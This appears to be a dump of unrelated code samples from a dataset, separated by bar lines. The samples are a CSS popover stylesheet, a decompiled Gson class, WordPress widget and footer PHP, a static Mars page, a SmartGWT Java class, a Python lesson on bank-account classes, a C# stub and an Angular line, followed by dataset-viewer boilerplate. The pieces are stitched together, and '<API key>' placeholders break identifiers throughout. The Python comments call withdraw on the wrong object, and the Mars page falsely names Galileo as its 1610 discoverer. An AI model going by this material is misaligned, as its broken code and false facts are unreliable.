margin-left: -5px;
border-right: 5px solid transparent;
border-bottom: 5px solid #000000;
border-left: 5px solid transparent;
}
.popover.left .arrow {
top: 50%;
right: 0;
margin-top: -5px;
border-top: 5px solid transparent;
border-bottom: 5px solid transparent;
border-left: 5px solid #000000;
}
.popover-inner {
width: 280px;
padding: 3px;
overflow: hidden;
background: #000000;
background: rgba(0, 0, 0, 0.8);
-<API key>: 6px;
-moz-border-radius: 6px;
border-radius: 6px;
-webkit-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);
-moz-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);
box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);
}
.popover-title {
padding: 5px 10px 0px;
line-height: 1;
background-color: #f5f5f5;
border-bottom: 1px solid #eee;
-<API key>: 3px 3px 0 0;
-moz-border-radius: 3px 3px 0 0;
border-radius: 3px 3px 0 0;
margin: 0;
}
.popover-content {
padding: 5px 10px;
line-height: 1;
background-color: #ffffff;
-<API key>: 0 0 3px 3px;
-moz-border-radius: 0 0 3px 3px;
border-radius: 0 0 3px 3px;
-<API key>: padding-box;
-moz-background-clip: padding-box;
background-clip: padding-box;
}
.popover-content p,
.popover-content ul,
.popover-content ol {
margin-bottom: 0;
}
|
package com.google.gson;
import com.google.gson.stream.JsonReader;
import com.google.gson.stream.JsonWriter;
class Gson$FutureTypeAdapter<T> extends TypeAdapter<T>
{
private TypeAdapter<T> delegate;
public T read(JsonReader paramJsonReader)
{
if (this.delegate == null)
throw new <API key>();
return this.delegate.read(paramJsonReader);
}
public void setDelegate(TypeAdapter<T> paramTypeAdapter)
{
if (this.delegate != null)
throw new AssertionError();
this.delegate = paramTypeAdapter;
}
public void write(JsonWriter paramJsonWriter, T paramT)
{
if (this.delegate == null)
throw new <API key>();
this.delegate.write(paramJsonWriter, paramT);
}
}
|
<?php
class EtendardVideo extends WP_Widget{
private $error = false;
private $novideo = false;
public function __construct(){
parent::__construct(
'EtendardVideo',
__('Etendard - Video', 'etendard'),
array('description'=>__('Add a video from Youtube, Dailymotion or Vimeo.', 'etendard'))
);
}
public function widget($args, $instance){
echo $args['before_widget'];
?>
<?php if (isset($instance['title']) && !empty($instance['title'])){
echo $args['before_title'] . apply_filters( 'widget_title', $instance['title'] ) . $args['after_title'];
} ?>
<?php if (isset($instance['video_link']) && $instance['video_link']!=""){ ?>
<div class="widget-video">
<?php echo wp_oembed_get($instance['video_link'], array('width'=>287)); ?>
</div>
<?php }else{ ?>
<p><?php _e('To display a video, please add a Youtube, Dailymotion or Vimeo URL in the widget settings.', 'etendard'); ?></p>
<?php } ?>
<?php
echo $args['after_widget'];
}
public function form($instance){
if ($this->error){
echo '<div class="error">';
_e('Please enter a valid url', 'etendard');
echo '</div>';
}
if ($this->novideo){
echo '<div class="error">';
_e('This video url doesn\'t seem to exist.', 'etendard');
echo '</div>';
}
$fields = array("title" => "", "video_link" => "");
if ( isset( $instance[ 'title' ] ) ) {
$fields['title'] = $instance[ 'title' ];
}
if ( isset( $instance[ 'video_link' ] ) ) {
$fields['video_link'] = $instance[ 'video_link' ];
}
?>
<p>
<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:', 'etendard' ); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $fields['title'] ); ?>">
</p>
<p>
<label for="<?php echo $this->get_field_id( 'video_link' ); ?>"><?php _e( 'Video URL (Youtube, Dailymotion or Vimeo):', 'etendard' ); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id( 'video_link' ); ?>" name="<?php echo $this->get_field_name( 'video_link' ); ?>" type="url" value="<?php echo esc_attr( $fields['video_link'] ); ?>">
</p>
<?php
}
public function update($new_instance, $old_instance){
$new_instance['title'] = ( ! empty( $new_instance['title'] ) ) ? strip_tags( $new_instance['title'] ) : '';
// Check the video link
if(isset($new_instance['video_link']) && !empty($new_instance['video_link']) && !filter_var($new_instance['video_link'], FILTER_VALIDATE_URL)){
$new_instance['video_link'] = $old_instance['video_link'];
$this->error = true;
}else{
if(!wp_oembed_get($new_instance['video_link'])){
$new_instance['video_link'] = $old_instance['video_link'];
$this->novideo = true;
}else{
$new_instance['video_link'] = ( ! empty( $new_instance['video_link'] ) ) ? strip_tags( $new_instance['video_link'] ) : '';
}
}
return $new_instance;
}
}
if (!function_exists('<API key>')){
function <API key>(){
register_widget('EtendardVideo');
}
}
add_action('widgets_init', '<API key>');
|
<?php $canon_options_frame = get_option('canon_options_frame'); ?>
<div class="outter-wrapper post-footer feature">
<div class="wrapper">
<div class="clearfix">
<div class="foot left"><?php echo $canon_options_frame['footer_text'] ?></div>
<div class="foot right">
<?php
if ($canon_options_frame['show_social_icons'] == "checked") {
get_template_part('inc/templates/header/<API key>');
}
?>
</div>
</div>
</div>
</div>
|
<!DOCTYPE html>
<html lang="en-ca">
<head>
<meta charset="utf-8">
<title>Mars · Planets of the Universe</title>
<link href="/css/main.css" rel="stylesheet">
<meta name="description" content="Mars is the fourth planet from the Sun and the second smallest planet in the Solar System.">
</head>
<body>
<header class="masthead ">
<h1>Planets of the Universe</h1>
<nav>
<ul class="nav nav-top">
<li><a href="/" class="">Home</a></li>
<li><a href="/planets/" class="current">Planets</a></li>
<li><a href="/news/" class="">News</a></li>
</ul>
</nav>
</header>
<strong>Planets</strong>
<nav>
<ul>
<li>
<a href="/planets/dwarf/" class="">Dwarf</a>
</li>
<li>
<a href="/planets/terrestrial/" class="current">Terrestrial</a>
</li>
<li>
<a href="/planets/gas-giant/" class="">Gas Giant</a>
</li>
</ul>
</nav>
<h1>Mars</h1>
<img src="/img/planets/mars.jpg" alt="Photo of Mars">
<dl>
<dt>Discoverer:</dt><dd>Galileo Galilei</dd>
<dt>Discovered:</dt><dd>1610</dd>
<dt>Orbital Period:</dt><dd>686 days</dd>
<dt>Mean Radius:</dt><dd>3396 km</dd>
<dt>Axial Tilt:</dt><dd>25°</dd>
</dl>
<p><em>Mars</em> is the fourth planet from the Sun and the second smallest planet in the Solar System. Mars is a terrestrial planet with a thin atmosphere, having surface features reminiscent both of the impact craters of the Moon and the volcanoes, valleys, deserts, and polar ice caps of Earth.</p>
<footer>
<nav>
<ul class="nav nav-bottom">
<li><a href="/" class="">Home</a></li>
<li><a href="/planets/" class="current">Planets</a></li>
<li><a href="/news/" class="">News</a></li>
</ul>
</nav>
<p>© 2013 Planets of the Universe</p>
</footer>
</body>
</html>
|
package com.smartgwt.mobile.client.widgets;
import com.google.gwt.resources.client.ImageResource;
public abstract class Action {
private ImageResource icon;
private int iconSize;
private String title;
private String tooltip;
public Action(String title) {
this.title = title;
}
public Action(ImageResource icon) {
this.icon = icon;
}
public Action(String title, ImageResource icon) {
this(title);
this.icon = icon;
}
public Action(String title, ImageResource icon, int iconSize) {
this(title, icon);
this.iconSize = iconSize;
}
public Action(String title, ImageResource icon, int iconSize, String tooltip) {
this(title, icon, iconSize);
this.tooltip = tooltip;
}
public final ImageResource getIcon() {
return icon;
}
public final int getIconSize() {
return iconSize;
}
public final String getTitle() {
return title;
}
public final String getTooltip() {
return tooltip;
}
public abstract void execute(ActionContext context);
}
|
import os
import sys
import string
import random
import math
# State
balance = 0
def deposit(amount):
global balance
balance += amount
return balance
def withdraw(amount):
global balance
balance -= amount
return balance
# Dict like
def make_account():
return {'balance': 0}
def deposit(account, amount):
account['balance'] += amount
return account['balance']
def withdraw(account, amount):
account['balance'] -= amount
return account['balance']
# >>> a = make_account()
# >>> b = make_account()
# >>> deposit(a, 100)
# 100
# >>> deposit(b, 50)
# >>> withdraw(b, 10)
# >>> withdraw(a, 10)
# Class
class BankAccount:
def __init__(self, balance=0):
self.balance = balance
def withdraw(self, amount):
self.balance -= amount
return self.balance
def deposit(self, amount):
self.balance += amount
return self.balance
# >>> a = BankAccount()
# >>> b = BankAccount()
# >>> a.deposit(100)
# 100
# >>> b.deposit(50)
# >>> b.withdraw(10)
# >>> a.withdraw(10)
# Inheritance
class <API key>(BankAccount):
def __init__(self, minimum_balance):
BankAccount.__init__(self)
self.minimum_balance = minimum_balance
def withdraw(self, amount):
if self.balance - amount < self.minimum_balance:
print('Sorry, minimum balance must be maintained.')
else:
BankAccount.withdraw(self, amount)
# >>> a = <API key>(0)
# >>> a.deposit(100)
# 100
# >>> b.withdraw(101)
# 'Sorry, minimum balance must be maintained.'
# Mangling, Exceptions
def generate_id(n=16):
alphabet = string.ascii_letters + string.digits
return ''.join(random.choice(alphabet) for _ in range(n))
class WithdrawError(Exception):
"""Not enough money"""
def __init__(self, amount):
super().__init__()
self.amount = amount
class AdvancedBankAccount:
MAX_BALANCE = 2 ** 64
def __init__(self):
self._balance = 0
self.__id = generate_id()
def withdraw(self, amount):
if not isinstance(amount, int):
raise ValueError
if self._balance < amount:
raise WithdrawError(amount)
self._balance -= amount
return self._balance
def deposit(self, amount):
self._balance += amount
return self._balance
def get_max_balance():
return AdvancedBankAccount.MAX_BALANCE
if __name__ == '__main__':
a = AdvancedBankAccount()
b = a
c = AdvancedBankAccount()
a.deposit(10)
# AdvancedBankAccount.deposit(a, 10) # the same
print('UNACCEPTABLE! b balance:', b._balance)
# print(b.__id) # error, name mangling
a.get_id = lambda self: self.__id
# print(a.get_id()) # TypeError
# print(a.get_id(a)) # AttributeError
# UNACCEPTABLE!
print("UNACCEPTABLE! b id:", b.<API key>) # name unmangling
# static
AdvancedBankAccount.MAX_BALANCE = 2 ** 32
print('max balance:', AdvancedBankAccount.get_max_balance())
a.MAX_BALANCE = 2 ** 64
print('a max: {}, c max: {}'.format(a.MAX_BALANCE,
c.MAX_BALANCE))
# Exceptions
# in module import
try:
a.withdraw("100")
except:
pass
# UNACCEPTIBLE!
try:
a.withdraw(100)
except WithdrawError as e:
pass
try:
a.withdraw(100)
except (ValueError, WithdrawError) as e:
print('exception raised')
else:
print('no exception')
finally:
print('Finally')
def tricky():
try:
print('Tricky called')
return 1
finally:
print('Tricky finally called')
return 42
return 0
print(tricky())
# how about with statement?
# module is object -> import
class Shape:
def area(self):
raise NotImplementedError
class Circle(Shape):
def __init__(self, radius):
self.radius = radius
def area(self):
return math.pi * self.radius ** 2
class Square(Shape):
def __init__(self, side):
self.side = side
def area(self):
return self.side ** 2
if __name__ == "__main__":
a = [Square(10), Circle(2)]
s = sum(s.area() for s in a)
print(s)
|
// <auto-generated>
// : 2.0.50727.42
// </auto-generated>
namespace Maticsoft.Web
{
public partial class ValidateCode
{
<summary>
form1
</summary>
<remarks>
</remarks>
protected global::System.Web.UI.HtmlControls.HtmlForm form1;
}
}
|
'use strict';
var app = angular.module('App', ['App.controller']);
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.